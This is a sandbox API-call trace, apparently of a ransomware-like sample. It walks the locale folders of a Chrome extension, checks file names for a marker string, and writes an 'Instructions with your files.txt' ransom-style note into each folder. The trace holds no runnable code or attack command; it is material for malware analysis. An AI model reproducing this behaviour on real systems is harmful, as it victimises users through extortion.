[0129.065] GetProcessHeap () returned 0x810000
[0129.065] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.065] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*") returned 143
[0129.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.069] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\.") returned 143
[0129.069] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.069] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\..") returned 144
[0129.069] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.069] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json") returned 155
[0129.069] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.069] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.069] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\Instructions with your files.txt") returned 174
[0129.069] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.069] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.070] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.070] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.070] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.071] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.071] CloseHandle (hObject=0x134) returned 1
[0129.071] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.071] GetProcessHeap () returned 0x810000
[0129.071] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.071] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
[0129.071] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt") returned 141
[0129.071] GetProcessHeap () returned 0x810000
[0129.071] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.071] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*") returned 143
[0129.071] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.071] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\.") returned 143
[0129.071] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.071] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\..") returned 144
[0129.071] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865aa380, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.071] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json") returned 155
[0129.071] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.071] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865aa380, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.072] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\Instructions with your files.txt") returned 174
[0129.072] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.072] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.073] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.073] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.073] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.073] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.073] CloseHandle (hObject=0x134) returned 1
[0129.073] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.073] GetProcessHeap () returned 0x810000
[0129.073] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.073] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
[0129.073] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv") returned 141
[0129.073] GetProcessHeap () returned 0x810000
[0129.073] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.073] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*") returned 143
[0129.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.074] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\.") returned 143
[0129.074] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.074] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\..") returned 144
[0129.074] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865aa380, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.074] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json") returned 155
[0129.075] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.075] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865aa380, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.075] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\Instructions with your files.txt") returned 174
[0129.075] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.075] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.076] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.076] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.076] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.076] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.076] CloseHandle (hObject=0x134) returned 1
[0129.076] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.076] GetProcessHeap () returned 0x810000
[0129.076] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.076] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865d1c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865d1c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1
[0129.076] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms") returned 141
[0129.077] GetProcessHeap () returned 0x810000
[0129.077] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.077] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*") returned 143
[0129.077] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865d1c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865d1c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.077] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\.") returned 143
[0129.077] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865d1c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865d1c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.077] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\..") returned 144
[0129.077] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865d1480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.077] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json") returned 155
[0129.077] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.077] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865d1c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865d1480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.077] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\Instructions with your files.txt") returned 174
